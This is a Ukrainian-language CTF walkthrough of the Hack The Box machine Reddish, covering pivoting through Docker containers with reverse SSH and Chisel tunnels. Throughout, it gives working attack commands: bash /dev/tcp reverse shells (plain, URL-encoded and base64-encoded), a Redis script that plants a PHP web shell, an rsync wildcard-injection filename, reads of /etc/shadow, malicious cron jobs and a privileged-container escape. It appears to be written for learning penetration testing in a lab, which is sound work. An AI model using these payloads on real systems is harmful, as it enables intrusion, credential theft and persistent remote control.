Тунелювання — це ключова техніка в пентестах, яка дозволяє спеціалістам з кібербезпеки отримувати доступ до закритих мереж і виявляти приховані вразливості. У статті детально розглядається кейс, який демонструє реальні підходи до експлуатації мережевих сервісів.
Для захоплення контролю над хостом, розташованим в іншій підмережі, ефективним підходом є створення складних тунелів. Сьогодні розглянемо техніки тунелювання, які застосовуються у пентестах, із прикладами використання віртуального середовища високого рівня складності з CTF-майданчика Hack The Box .
Для початку проводиться сканування мережі за допомогою Nmap. З’ясовано, що стандартні 1000 портів, які перевіряються за замовчуванням, неактивні. Тому обирається стратегія повного сканування всього діапазону TCP-портів із підвищеною швидкістю для виявлення доступних точок входу.
root@kali:~# nmap -n -Pn --min-rate=5000 -oA nmap/tcp-allports 10.10.10.94 -p- root@kali:~# cat nmap/tcp-allports.nmap ... Host is up (0.12s latency). Not shown: 65534 closed ports PORT STATE SERVICE 1880/tcp open vsat-control ...
Після завершення повного сканування виявлено лише один відкритий порт — 1880. Для подальшого аналізу цього порту розпочинається збір додаткової інформації про його призначення та сервіси, що на ньому працюють.
root@kali:~# nmap -n -Pn -sV -sC -oA nmap/tcp-port1880 10.10.10.94 -p1880 root@kali:~# cat nmap/tcp-port1880.nmap ... PORT STATE SERVICE VERSION 1880/tcp open http Node.js Express framework |_http-title: Error ...
Сканер каже, що на цьому порту розгорнуть Express – фреймворк веб-додатків Node.js.
Перехід на сторінку http://10.10.10.94:1880/ видає повідомлення про помилку.

Є два шляхи розібратися, що за додаток висить на цьому порту.
Зберегти значок веб-сайту до себе на машину (зазвичай вони живуть за адресою /favicon.ico) та спробувати знайти його за допомогою Reverse Image Search .
Запитати у пошуковика, з чим зазвичай асоційований порт 1880 року.
Інший, більш простий підхід, виявився не менш ефективним: за першим же результатом пошуку за відповідним запитом вдалося отримати потрібну інформацію.

Згідно з офіційною інформацією, Node-RED є середовищем для візуального програмування, що дозволяє створювати зв’язки між різними сутностями, такими як локальні пристрої чи API онлайн-сервісів. Найчастіше його використовують для управління пристроями IoT, зокрема розумними будинками.
root@kali:~# curl -i http://10.10.10.94:1880 HTTP/1.1 404 Not Found X-Powered-By: Express Content-Security-Policy: default-src 'self' X-Content-Type-Options: nosniff Content-Type: text/html; charset=utf-8 Content-Length: 139 Date: Thu, 30 Jan 2020 21:53:05 GMT Connection: keep-alive <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Error</title> </head> <body> <pre>Cannot GET /</pre> </body> </html>
Перше, що спадає на думку, — запустити брутер директорій. Але перед цим спробуємо просто змінити запит із GET на POST.
root@kali:~# curl -i -X POST http://10.10.10.94:1880
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 86
ETag: W/"56-dJUoKg9C3oMp/xaXSpD6C8hvObg"
Date: Thu, 30 Jan 2020 22:04:20 GMT
Connection: keep-alive
{"id":"a237ac201a5e6c6aa198d974da3705b8","ip":"::ffff:10.10.14.19","path":"/red/{id}"}
Без використання методів брутфорсу вдалося отримати підказку: при зверненні до кореня веб-сайту сервер через POST-запит повертає приклад правильного формату тіла запиту. Це логічно, адже у документації до API Node-RED переважно описані POST-запити.
При подальшому зверненні до URL-адреси http://10.10.10.94:1880/red/a237ac201a5e6c6aa198d974da3705b8/ вдалося отримати наступні результати, що відкривають нові можливості для аналізу.

Давай розбиратися, що тут можна зробити.
Робоча область Node-RED викликає асоціацію зі «пісочницею», де користувач може легко маніпулювати різними елементами. Хоча це середовище має широкий функціонал, у цьому випадку завдання мінімальне — отримати доступ до шеллу на сервері для подальшої експлуатації.

У панелі «будівельних блоків» (або вузлів) зліва, перегорнувши вниз, можна знайти вкладку Advanced. Саме тут розташована функція exec, яка відкриває можливість виконувати команди на сервері — незамінний інструмент для подальших дій у процесі експлуатації.
Для демонстрації можливостей створення потоків у Node-RED можна розпочати з простого прикладу. Як перший крок, був реалізований і задеплоєний базовий тривіальний шелл, який служить основою для подальшого отримання контролю над системою. Цей підхід дозволяє зрозуміти принципи роботи потоків і їх практичне застосування.

Розберемо картинку за кольорами блоків:
Сірий (ліворуч): отримання даних на вхід. Сервер здійснює зворотне підключення до мого IP і прив’язує введення з моєї клавіатури до помаранчевого блоку exec.
Помаранчевий: виконання команд на сервері. Результат роботи цього блоку надходить на вхід другого сірого блоку. Зверніть увагу: у помаранчевого блоку є три вихідні «клеми». Вони відповідають stdout, stderr та коду повернення (котрий я не став використати).
Сірий (праворуч): надсилання вихідних даних. Відкривши розширені налаштування блоку подвійним кліком, можна встановити особливості його поведінки. Я вибрав Reply to TCP, щоб Node-RED надсилав мені відповіді у цьому підключенні.
Про два сірих блоках можна думати, як про мережеві пайпи, якими йде INPUT і OUTPUT блоку exec. Тепер піднімемо локального слухача на Kali і влаштуємо деплою!

Як можна бачити – звичайний шелл non-PTY.
Звичайно, було цікаво пограти у такій пісочниці, тож, ось ще кілька конструкцій.

Це акуратніший шелл: з ним можна надсилати запит на підключення «з кнопки» без необхідності редеплоїти весь проект (синій), логувати те, що відбувається у веб-інтерфейс (зелений, результат дивись на малюнку нижче) і форматувати виведення команд під свій шаблон (жовтий) .


Вихідник у JSON-ці тут .
Чому б не спорудити флоу для заливки файлів на сервер?

Тут все дуже просто: за натисканням на кнопку Connect сервер підключається до порту 8889 моєї машини (де вже піднято листенер з потрібним файлом) і зберігає отриману інформацію в прихований файл /tmp/.file ( JSON ).
На Kali:
root@kali:~# nc -lvnp 8889 < lse.sh ... root@kali:~# md5sum lse.sh 7d3a4fe5c7f91692885bbeb631f57c70 lse.sh

На Node-RED:
root@nodered:/tmp# md5sum .file 7d3a4fe5c7f91692885bbeb631f57c70 .file
Відверто кажучи, описаний підхід до трансферу файлів є надмірним: весь процес можна провести, не відходячи від терміналу.
root@kali:~# nc -w3 -lvnp 8889 < lse.sh root@nodered:~# bash -c 'cat < /dev/tcp/10.10.14.19/8889 > /tmp/.file'
Шелл, створений за допомогою абстракцій Node-RED, мав певні недоліки: некоректне відображення окремих символів і загальна ненадійність конструкції. Для усунення цих обмежень було реалізовано повноцінний Reverse Shell, що забезпечив стабільний доступ до системи та розширені можливості для подальшої роботи.

Спочатку було налаштовано реверс-шелл через Bash TCP, відкривши додатковий порт у новій вкладці терміналу. Однак для підвищення зручності, особливо у разі необхідності перезапуску сесії, було створено автоматизований флоу у Node-RED, що забезпечує стабільний запуск реверс-шеллу. Конфігурацію флоу збережено у форматі JSON для швидкого імпорту та повторного використання.

Для забезпечення коректного виконання реверс-шеллу пейлоад було загорнуто в додаткову оболонку Bash за допомогою команди: Bash: bash -c ‘<PAYLOAD>’.
Цей підхід дозволив примусово використовувати інтерпретатор Bash, оскільки за замовчуванням на хості був встановлений dash, який може викликати проблеми з сумісністю під час виконання складних команд.
node-red> ls -la /bin/sh lrwxrwxrwx 1 root root 4 Nov 8 2014 /bin/sh -> dash
Тепер можемо написати простий Bash-скрипт , щоб тригерити callback в один клік командного рядка.
#!/usr/bin/env bash (sleep 0.5; curl -s -X POST http://10.10.10.94:1880/red/a237ac201a5e6c6aa198d974da3705b8/inject/7635e880.e6be48 >/dev/null &) rlwrap nc -lvnp 8888
Адреса URL, яку передає curl, відповідає об’єкту Inject у створеному потоці Node-RED (кнопка “Go!” на попередньому зображенні). Для зручності роботи в інтерактивному шеллі використовується rlwrap, який забезпечує коректне переміщення курсору стрілками вліво-вправо під час введення рядків, а також дозволяє працювати з історією команд.
Вже з перших секунд перебування на сервері стає очевидно, що ми всередині докера, адже наш шелл повернувся від імені суперкористувача root. Це припущення підтверджує скрипт lse.sh, закинутий на машину в минулому параграфі.

Можна переконатись у цьому особисто: у корені файлової системи (далі ФС) існує директорія .dockerenv.
root@nodered:/node-red# ls -la /.dockerenv
-rwxr-xr-x 1 root root 0 May 4 2018 /.dockerenv
Якщо ви опинилися в докері, насамперед рекомендується перевірити мережеве оточення — на випадок, якщо це не одиничний контейнер у ланцюжку. У поточній системі відсутня ifconfig, тому інформацію про мережеві інтерфейси будемо дивитися за допомогою ip addr.

Як видно, цей докер може спілкуватися з двома підмережами: 172.18.0.0/16 та 172.19.0.0/16. У першій підмережі контейнер (назвемо його nodered) має IP-адресу 172.18.0.2, а в другій — 172.19.0.4. Подивимося, з якими ще хостами взаємодіяв неавторизовано.

Кеш ARP вказує на те, що nodered знає ще як мінімум два хости: 172.19.0.2 та 172.19.0.3. Проведемо сканування з метою виявлення хостів .
“Пробити” мережеве оточення можна різними способами.
Перший спосіб – написати простий скрипт, який дозволить “простукати” всіх учасників мережі технікою Ping Sweep . Ідея проста: на кожен хост рівня L2 у мережі 172.18.0.0 (або просто 172.18.0.0/24) відправимо по одному ICMP-запиту та подивимося на код повернення. Якщо успіх виводимо повідомлення на екран, інакше нічого не робимо.
#!/usr/bin/env bash IP="$1"; for i in $(seq 1 254); do (ping -c1 $IP.$i >/dev/null && echo "ON: $IP.$i" &); done
У ділянці мережі, що сканується, всього може бути 254 хоста (256 мінус адреса_мережі мінус адреса_широкомовника). Щоб виконати цю перевірку за 1 секунду, а не за 254, запускаємо кожен ping у своєму шелл-процесі. Це не затратно, тому що вони швидко вмиратимуть, та отримаемо практично миттєвий результат.
root@nodered:~# IP="172.18.0"; for i in $(seq 1 254); do (ping -c1 $IP.$i >/dev/null && echo "ON: $IP.$i" &); done ON: 172.18.0.1 <-- Шлюз по умолчанию для nodered (хост) ON: 172.18.0.2 <-- Докер-контейнер nodered
При скануванні цієї підсітки отримали лише гейтвей та свій же контейнер. Нецікаво, пробуємо 172.19.0.0/24.
root@nodered:~# IP="172.19.0"; for i in $(seq 1 254); do (ping -c1 $IP.$i >/dev/null && echo "ON: $IP.$i" &); done ON: 172.19.0.1 <-- Шлюз по умолчанию для nodered (хост) ON: 172.19.0.2 <-- ??? ON: 172.19.0.3 <-- ??? ON: 172.19.0.4 <-- Докер-контейнер nodered
Є два невідомі хости, які ми незабаром вирушимо вивчати. Але перш за все обговоримо ще один спосіб проведення Host Discovery.
Закинемо на nodered копію статично скомпільованого Nmap разом із файлом /etc/services (він містить асоціативний мапінг «ім’я_служби ↔ номер_порту», необхідний для роботи сканера) зі своєю Kali та запустимо виявлення хостів.
root@nodered:/tmp# ./nmap -n -sn 172.18.0.0/24 2>/dev/null | grep -e 'scan report' -e 'scanned in' Nmap scan report for 172.18.0.1 Nmap scan report for 172.18.0.2 Nmap done: 256 IP addresses (2 hosts up) scanned in 2.01 seconds
Nmap знайшов два хости в підмережі 172.18.0.0/24.
root@nodered:/tmp# ./nmap -n -sn 172.19.0.0/24 2>/dev/null | grep -e 'scan report' -e 'scanned in' Nmap scan report for 172.19.0.1 Nmap scan report for 172.19.0.2 Nmap scan report for 172.19.0.3 Nmap scan report for 172.19.0.4 Nmap done: 256 IP addresses (4 hosts up) scanned in 2.02 seconds
І чотири хости у підмережі 172.19.0.0/24. Все точно, як і при ручному Ping Sweep.
Щоб з’ясувати, які порти відкриті двох невідомих хостах, можна знову написати такий однострочник на Bash.
#!/usr/bin/env bash IP="$1"; for port in $(seq 1 65535); do (echo '.' >/dev/tcp/$IP/$port && echo "OPEN: $port" &) 2>/dev/null; done
Скрипт для перевірки портів працює за принципом ping-sweep.sh, але замість команди ping використовується відправлення тестового символу на сканований порт. Проте такий метод є менш зручним у порівнянні з використанням Nmap, який надає значно більше можливостей для аналізу мережі та сканування портів.
root@nodered:/tmp# ./nmap -n -Pn -sT --min-rate=5000 172.19.0.2 -p- ... Unable to find nmap-services! Resorting to /etc/services Cannot find nmap-payloads. UDP payloads are disabled. ... Host is up (0.00017s latency). Not shown: 65534 closed ports PORT STATE SERVICE 6379/tcp open unknown ... root@nodered:/tmp# ./nmap -n -Pn -sT --min-rate=5000 172.19.0.3 -p- ... Unable to find nmap-services! Resorting to /etc/services Cannot find nmap-payloads. UDP payloads are disabled. ... Host is up (0.00013s latency). Not shown: 65534 closed ports PORT STATE SERVICE 80/tcp open http ...
Виявили два відкриті порти — по одному на кожен невідомий хост. Спочатку подумаємо, як можна дістатися до Інтернету на 80-му, а потім перейдемо до порту 6379.
Щоб дістатися віддаленого 80-го порту, доведеться будувати тунель від своєї машини до хоста 172.19.0.3. Зробити це можна воістину незліченною кількістю способів, наприклад:
використовувати функціонал Metasploit і прокинути маршрут через meterpreter-сесію;
ініціювати з’єднання Reverse SSH, де як сервер виступатиме машина атакуючого, а як клієнт — контейнер nodered;
використовувати сторонні програми, призначені для налаштування тунелів між вузлами.
У Node-RED теоретично можна створити флоу, який маршрутизуватиме трафік від атакуючого до невідомих хостів. Однак реалізація такого рішення потребуватиме значних зусиль, і навряд чи знайдеться охочий випробувати цей підхід на практиці.
Перший пункт із використанням Metasploit було розглянуто раніше, тому повторюватися немає сенсу. Другий пункт стосувався Windows-систем, тоді як поточна ситуація передбачає роботу з Linux. План дій такий: спершу демонструється спосіб створення реверсивного з’єднання за допомогою SSH, а далі розглядаються спеціалізовані інструменти для тунелювання.
Для створення зворотного SSH-тунелю потрібний переносний клієнт, щоб розмістити його на nodered. Саме таким клієнтом є dropbear від австралійського розробника Мета Джонсона. Завантажуємо вихідні коди з домашньої сторінки його автора і скомпілюємо клієнт статично у себе на машині.
root@kali:~# wget https://matt.ucc.asn.au/dropbear/dropbear-2019.78.tar.bz2 root@kali:~# tar xjvf dropbear-2019.78.tar.bz2 && cd dropbear-2019.78 root@kali:~/dropbear-2019.78# ./configure --enable-static && make PROGRAMS='dbclient dropbearkey' root@kali:~/dropbear-2019.78# du -h dbclient 1.4M dbclient
Розмір отриманого бінарника – 1,4 Мбайта. Можна зменшити його майже втричі двома простими командами.
root@kali:~/dropbear-2019.78# make strip root@kali:~/dropbear-2019.78# upx dbclient root@kali:~/dropbear-2019.78# du -h dbclient 520K dbclient
Спочатку вся налагоджувальна інформація була видалена за допомогою Makefile, після чого бінарний файл був стиснутий за допомогою пакувальника виконуваних файлів UPX.
Далі створюється пара ключів «відкритий/закритий» за допомогою інструменту dropbearkey, після чого клієнт і закритий ключ завантажуються на Node-RED для подальшого використання.
root@kali:~/dropbear-2019.78# ./dropbearkey -t ecdsa -s 521 -f .secret Generating 521 bit ecdsa key, this may take a while... Public key portion is: ecdsa-sha2-nistp521 AAAAE2VjZHNhLXNoYTItbmlzdHA1MjEAAAAIbmlzdHA1MjEAAACFBAA2TCQk3VTYCX/hZjMmXT0/A27f5EOKQY4FbXcYeNWXIPLFQOOLnQFWbAjBa9qOUdmwOipVvDwXnvt6hEmwitflvQEIw9wHQ4spUAqs/0CR6AoiTT3w7v6CAX/uq0u2oS7gWf9SPy/Npz8Ond6XJKh+d0QPXz0uQrq0wyprCYo+g/OiEA== root@kali Fingerprint: sha1!! ef:6a:e8:e0:f8:49:f3:cb:67:34:5d:0b:f5:cd:c0:e5:8e:49:28:41

Все, SSH-клієнт разом з 521-бітним приватним ключем (на еліптиці ) полетіли в контейнер. Тепер створимо фіктивного користувача з шеллом /bin/false, щоб не підставляти свою машину .
root@kali:~# useradd -m snovvcrash root@kali:~# vi /etc/passwd ... Меняем шелл юзера snovvcrash на "/bin/false" ... root@kali:~# mkdir /home/snovvcrash/.ssh root@kali:~# vi /home/snovvcrash/.ssh/authorized_keys ... Копіюємо відкритий ключ ...
Все готове, можна прокидати тунель.
root@nodered:/tmp# ./dbclient -f -N -R 8890:172.19.0.3:80 -i .secret -y [email protected]
-f — звернути клієнт у бекграунд після автентифікації на сервері;
-N – не виконувати команди на сервері і не вимагати шелл;
-R 8890:172.19.0.3:80 – слухати localhost:8890 на Kali і перенаправляти все, що туди потрапить, на 172.19.0.3:80;
-i .secret – автентифікація за приватним ключем .secret;
-y – автоматично додавати хост з відбитком його відкритого ключа до списку довірених.
На Kali можна перевірити успішність створення тунелю за допомогою канонічного netstat або його новомодної альтернативи ss.
root@kali:~# netstat -alnp | grep LIST | grep 8890 tcp 0 0 127.0.0.1:8890 0.0.0.0:* LISTEN 236550/sshd: snovvc tcp6 0 0 ::1:8890 :::* LISTEN 236550/sshd: snovvc root@kali:~# ss | grep 1880 tcp ESTAB 0 0 10.10.14.19:43590 10.10.10.94:1880

Швидкі TCP-тунелі від Chisel. Транспортування HTTP. Безпека SSH.
Chisel, хоча й менш пафосно описаний розробником, фактично є універсальним інструментом для прокладання тунелів. Це клієнт-серверний додаток, написаний на Go, який дозволяє обходити файрволи та налаштовувати захищені тунелі. У цьому випадку він використовуватиметься для створення реверс-з’єднання з контейнера nodered до Kali.
Функціонал Chisel схожий із тунелюванням через SSH, навіть синтаксис команд нагадує команди SSH. Щоб упорядкувати складну мережеву інфраструктуру, буде створена «карта місцевості». На цей момент інформація є лише про вузли nodered і www, що слугуватимуть основою для подальшого аналізу.

Завантажимо та зберемо Chisel на Kali.
root@kali:~# git clone http://github.com/jpillora/chisel && cd chisel root@kali:~/chisel# go build root@kali:~/chisel# du -h chisel 12M chisel
root@kali:~/chisel# go build -ldflags='-s -w' root@kali:~/chisel# upx chisel root@kali:~/chisel# du -h chisel 3.2M chisel
Тепер перенесемо chisel у контейнер і створимо тунель.
root@kali:~/chisel# ./chisel server -v -reverse -p 8000
Першим процесом піднімаємо сервер на Kali, який слухає активність на 8000-му порту (-p 8000) і дозволяє створювати зворотні підключення (-reverse).
root@nodered:/tmp# ./chisel client 10.10.14.19:8000 R:127.0.0.1:8890:172.19.0.3:80 &
Тепер підключаємося до цього сервера за допомогою клієнта на nodered. Команда вище відкриє 8890 порт на Kali (прапор R), через який трафік потраплятиме в 80 порт хоста 172.19.0.3. Якщо не вказати мережевий інтерфейс на зворотному з’єднанні явно (у даному випадку 127.0.0.1), буде використано 0.0.0.0.
Це означає, що будь-який учасник мережі зможе юзати нашу машину для спілкування з 172.19.0.3:80. Нас це не влаштовує, тому доводиться вручну прописувати 127.0.0.1. У цьому відмінність від дефолтного SSH-клієнта, де за умовчанням завжди буде використано 127.0.0.1.

При відкритті localhost:8890 у браузері знову з’являється повідомлення “it works!”, яке підтверджує, що з’єднання успішне. Оскільки це вже знайомий результат, наступним кроком є перегляд вихідного коду веб-сторінки для пошуку цікавих елементів.

Прокинемо ще один зворотний тунель на Kali, який йтиме до порту 6379.
root@nodered:/tmp# ./chisel client 10.10.14.19:8000 R:127.0.0.1:6379:172.19.0.3:6379 &

Тепер можна починати взаємодію з Redis безпосередньо зі своєї машини. Для початку доцільно просканувати порт 6379 за допомогою Nmap, оскільки це дозволяє використовувати весь набір NSE-скриптів для ідентифікації сервісів.
Необхідно враховувати, що для роботи через тунелі слід використовувати прапор -sT, оскільки сирі пакети не підтримуються в такому типі з’єднання. Команда для сканування може виглядати так:
root@kali:~# nmap -n -Pn -sT -sV -sC localhost -p6379 ... PORT STATE SERVICE VERSION 6379/tcp open redis Redis key-value store 4.0.9 ...
Як пропонують у цьому пості , перевіримо, чи потрібна авторизація для взаємодії з БД.

Якщо пряме підключення через SSH неможливе, іншим варіантом є заливка веб-шеллу в розшаровану папку веб-сервера, що дозволить отримати доступ до системи через веб-інтерфейс. Цей підхід є ефективним, якщо є можливість взаємодіяти з веб-сервером і завантажити шкідливий файл.
root@kali:~# git clone https://github.com/antirez/redis && cd redis root@kali:~/redis# make redis-cli root@kali:~/redis# cd src/ root@kali:~/redis/src# file redis-cli redis-cli: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c6e92b4603099564577d4027ba5fd7f20da68230, for GNU/Linux 3.2.0, with debug_info, not stripped
Переконаємося, що все працює — спробуємо команди, які бачили в сорцях веб-сторінки.

Відмінно, тепер можна зробити щось шкідливіше, а саме — записати веб-шелл у:
/var/www/html/
Для цього потрібно:
очистити ключі всім БД;
створити в новій БД нову пару <ключ>, <значення> з веб-шеллом як значення;
вказати ім’я нової БД;
встановити шлях для збереження нової БД;
зберегти файл нової бази даних.
Цікавий момент: Redis оптимізує зберігання значень, якщо в них присутні паттерни, що повторюються, тому не всякий пейлоад, записаний в БД, відпрацює коректно.
Напишемо скрипт на Bash, який автоматизує виконання цих п’яти кроків. Автоматизація потрібна, оскільки веб-директорія очищується кожні три хвилини.
#!/usr/bin/env bash ~/redis/src/redis-cli -h localhost flushall ~/redis/src/redis-cli -h localhost set pwn '<?php system($_REQUEST['cmd']); ?>' ~/redis/src/redis-cli -h localhost config set dbfilename shell.php ~/redis/src/redis-cli -h localhost config set dir /var/www/html/ ~/redis/src/redis-cli -h localhost save

Скрипт відпрацював успішно, тому можна відкрити браузер і після переходу за адресою:
http://localhost:8890/shell.php?cmd=whoami
Отримати таку відповідь.

Таким чином є маемо RCE в контейнері 172.19.0.3 (назвемо його www, адже він сам так представився).

Якщо є RCE, непогано було б отримати шелл.
Непогано б, та ось є одне але: хост www вміє спілкуватися тільки з nodered, а безпосередньо зв’язатися з Kali він не може. Значить, створюватимемо черговий тунель (третій за рахунком) поверх існуючого зворотного – і через нього ловити callback від www на Kali. Новий тунель буде прямим (або “локальним”).
root@nodered:/tmp# ./chisel client 10.10.14.19:8000 7001:127.0.0.1:9001 &
В цьому випадку було налаштовано тунелювання між контейнером nodered і атакувальною машиною Kali. Підключення до сервера 10.10.14.19:8000 дозволило прокласти тунель, де 7001 порт контейнера nodered перенаправляється на 9001 порт ВМ Kali. Це означає, що все, що надходить на 172.19.0.4:7001, автоматично перенаправляється на машину атакуючого через порт 10.10.14.19:9001. Завдяки цьому можна організувати реверс-шелл, де як ціль (RHOST:RPORT) вказується 172.19.0.4:7001, а відгук надходить на локальну машину 10.10.14.19:9001.
Було додано два додаткові рядки до скрипту pwn-redis.sh : «відправити шелл» і «запустити слухача на порт 9001».
... (sleep 0.1; curl -s -X POST -d 'cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.19.0.4%2F7001%200%3E%261%27' localhost:8890/shell.php >/dev/null &) rlwrap nc -lvnp 9001
Пейлоад для curl закодований в Percent-encoding , щоб не мучитися з «поганими» символами.
bash -c 'bash -i >& /dev/tcp/172.19.0.4/7001 0>&1'
Тепер на одну дію отримуємо сесію на www.

Пропонуемо озирнутися.

По-перше, цей контейнер також має доступ у дві підмережі: 172.19.0.0/16 та 172.20.0.0/16.

У корені файлової системи – цікава директорія / backup , яка зустрічається досить часто на віртуалка Hack The Box (та й у реальному житті теж). Усередині – скрипт backup.sh з наступним вмістом.
cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b rsync -a *.rdb rsync://backup:873/src/rdb/ cd / && rm -rf /var/www/html/* rsync -a rsync://backup:873/src/backup/ /var/www/html/ chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
Тут ми бачимо:
звернення до поки що невідомого нам хосту backup;
використання rsync , щоб бекапіті всі файли з розширенням .rdb (файли БД Redis) на віддалений сервер backup;
використання rsync для відновлення резервної копії (яка також знаходиться десь на сервері backup) вмісту /var/www/html/.
Вразливість очевидна, оскільки адміністратор використовує символ * у другому рядку для звернення до всіх rdb-файлів. Такий підхід дозволяє кожному з файлів бути обробленим, однак при цьому з’являється небезпека використання спеціально підготовленого файлу для виконання шкідливих дій.
Оскільки rsync має прапор для виконання команд, зловмисник може створити скрипт з особливим іменем, яке відповідає синтаксису тригера команд. Цей скрипт може бути виконаний від імені користувача, який запускає backup.sh, що дозволить зловмиснику здійснювати будь-які дії на сервері.

Цілком імовірно, що скрипт backup.sh виконується через планувальник cron, оскільки це типова практика для регулярного виконання задач на сервері.

Отже, він буде виконаний від імені root! Приступимо до експлуатації.
Спочатку в директори:
/var/www/html/f187a0ec71ce99642e4f0afbd441a68b
Створимо файл pwn – rsync . rdb – із звичайним реверс-шеллом, які ми сьогодні бачили вже сотню разів.
bash -c 'bash -i >& /dev/tcp/172.19.0.4/1337 0>&1'
Після там створимо ще один файл з оригінальним ім’ям -e bash pwn-rsync.rdb.
www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$ ls -e bash pwn-rsync.rdb pwn-rsync.rdb
Залишилося відкрити нову вкладку терміналу і дочекатися запуску завдання cron.

І ось у нас є root-Шел!
Реверс-шелл відгук був відправлений в контейнер nodered, а ловився на машині Kali. Для цього був налаштований додатковий локальний тунель на 1337 порту з nodered на машину атакуючого. Ця конфігурація дозволяє направляти з’єднання через тунель, забезпечуючи зручний доступ до відгуків і можливість подальших дій.
root@nodered:/tmp# ./chisel client 10.10.14.19:8000 1337:127.0.0.1:1337 &

Тепер можна чесно забрати хеш користувача.

Але це всього лише прапор користувача, а ми, як і раніше, знаходимося всередині docker. Що ж тепер?
Пристрій скрипту для створення резервних копій не забезпечує належної автентифікації на сервері backup. Фактично, доступ до файлової системи контейнера можуть отримати всі, хто здатен підключитися до контейнера www по мережі.
Згідно з висновком команди ip addr для контейнера www, він має доступ до підмережі 17.20.0.0/24, однак точна адреса сервера backup досі невідома. Можна припустити, що його IP-адреса — 17.20.0.2, грунтуючись на аналогії з іншими вузлами мережі.
Для перевірки цього припущення можна відправити один ICMP-запит з контейнера www до сервера backup. Якщо сервер відповість на запит, це підтвердить правильність припущення щодо його IP-адреси.
www-data@www:/$ ping -c1 backup ping: icmp open socket: Operation not permitted
Робити це потрібно з привілейованого шелла, тому що у користувача www-data не вистачає прав для відкриття необхідного сокету.
root@www:~# ping -c1 backup PING backup (172.20.0.2) 56(84) bytes of data. 64 bytes from reddish_composition_backup_1.reddish_composition_internal-network-2 (172.20.0.2): icmp_seq=1 ttl=64 time=0.051 ms --- backup ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.051/0.051/0.051/0.000 ms
У такий спосіб ми переконалися, що адреса backup — 172.20.0.2. Доповнимо карту мережевих взаємодій.

Тепер повернемося до міркування вище: у нас є доступ до www і є rsync без аутентифікації (на 873 порту) — отже, у нас є права на читання/запис у файлову систему backup.
Наприклад, можна переглянути корінь файлової системи на сервері backup, використовуючи таку команду:
www-data@www:/tmp$ rsync rsync://backup:873/src/ ...

Або прочитати файл shadow.
www-data@www:/tmp$ rsync -a rsync://backup:873/etc/shadow . www-data@www:/tmp$ cat shadow ...

А також записати будь-який файл у будь-яку директорію на backup.
www-data@www:/tmp$ echo 'HELLO THERE' > .test www-data@www:/tmp$ rsync -a .test rsync://backup:873/etc/ -rw-r--r-- 12 2020/02/02 16:25:49 .test

Створене завдання cron з реверс-шеллом зберігається в /etc/cron.d/ на сервері backup, і відгук ловиться на Kali. Проблема з мережею полягає в тому, що backup може зв’язуватися лише з www, а www — лише з nodered. Тому необхідно налаштувати ланцюжок тунелів: від backup до www, від www до nodered, і від nodered до Kali.
Наслідуючи принципи динамічного програмування, декомпозуємо складне завдання на дві прості підзавдання, а в кінці об’єднаємо результати.
Прокидаємо локальний порт 1111 із контейнера nodered до порту 8000 на Kali, де працює сервер Chisel. Це дозволить нам звертатися до 172.19.0.4:1111 як до сервера Chisel на Kali.
root@nodered:/tmp# ./chisel client 10.10.14.19:8000 1111:127.0.0.1:8000 &
Другим кроком налаштуємо переадресацію з www на Kali. Для цього підключимося до 172.19.0.4:1111 (так само, якби ми могли підключитися до Kali безпосередньо) і прокинемо локальний порт 2222 до порту 3333 на Kali.
www-data@www:/tmp$ ./chisel client 172.19.0.4:1111 2222:127.0.0.1:3333 &
Тепер усе, що потрапить до порту 2222 на www, буде перенаправлено по ланцюжку тунелів у порт 3333 на машину атакуючого.

Для деяких утилітарних цілей (наприклад, для доставки виконуваного файлу chisel в контейнер www) було відкрито додаткові допоміжні тунелі, опис яких не включений у текст, щоб не заплутувати читача та не перевантажувати мережеву карту.
Залишилося створити реверс-шелл, налаштувати cron-завдання, завантажити все на backup, дочекатися запуску cron і зловити шелл на Kali.
Створюємо шелл.
root@www:/tmp# echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMC4zLzIyMjIgMD4mMScK | base64 -d > shell.sh root@www:/tmp# cat shell.sh bash -c 'bash -i >& /dev/tcp/172.20.0.3/2222 0>&1'
Створюємо cronjob, який виконуватиметься щохвилини.
root@www:/tmp# echo '* * * * * root bash /tmp/shell.sh' > shell
Заливаємо обидва файли на backup за допомогою rsync.
root@www:/tmp# rsync -a shell.sh rsync://backup:873/src/tmp/ root@www:/tmp# rsync -a shell rsync://backup:873/src/etc/cron.d/
І за мить приходить коннект на 3333 порт Kali.

Прогулявшись файловою системою backup, можна побачити таку картину.

У директорії /dev залишено доступ до всіх накопичувачів хостової ОС. Це означає, що на Reddish контейнер був запущений з прапором privileged . Це наділяє докер-процес практично всіма повноваженнями, які мають основний хост.
Цікава презентація з аудиту докер-контейнерів: Hacking Docker the Easy way .
Якщо ми змонтуємо, наприклад, /dev/sda1, то зможемо здійснити втечу до файлової системи Reddish.

root@backup:/tmp/sda1/etc/cron.d# echo 'YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xOS85OTk5IDA+JjEnCg==' | base64 -d > /tmp/sda1/tmp/shell.sh root@backup:/tmp/sda1/etc/cron.d# cat ../../tmp/shell.sh bash -c 'bash -i >& /dev/tcp/10.10.14.19/9999 0>&1' root@backup:/tmp/sda1/etc/cron.d# echo '* * * * * root bash /tmp/shell.sh' > shell
І тепер відгук реверс-шелла прийде вже людським чином через реальну мережу 10.10.0.0/16 (а не через нетрі віртуальних інтерфейсів докера) на порт 9999 ВМ Kali.

Якщо викликати IP addr, можна бачити нагромадження мереж docker.

Ось і все! Залишилося забрати рутовий прапор — і віртуалку пройдено.
root@backup:/tmp/sda1# cat root/root.txt cat root/root.txt 50d0db64????????????????????????

Маємо повноправний доступ до системи, тому з цікавості можна відкрити конфігурацію docker /opt/reddish_composition/docker-compose.yml .
З неї ми бачимо:
список портів, доступних «зовні» ( рядок 7 );
розділяється з контейнерами www і redis внутрішню мережу ( рядок 10 );
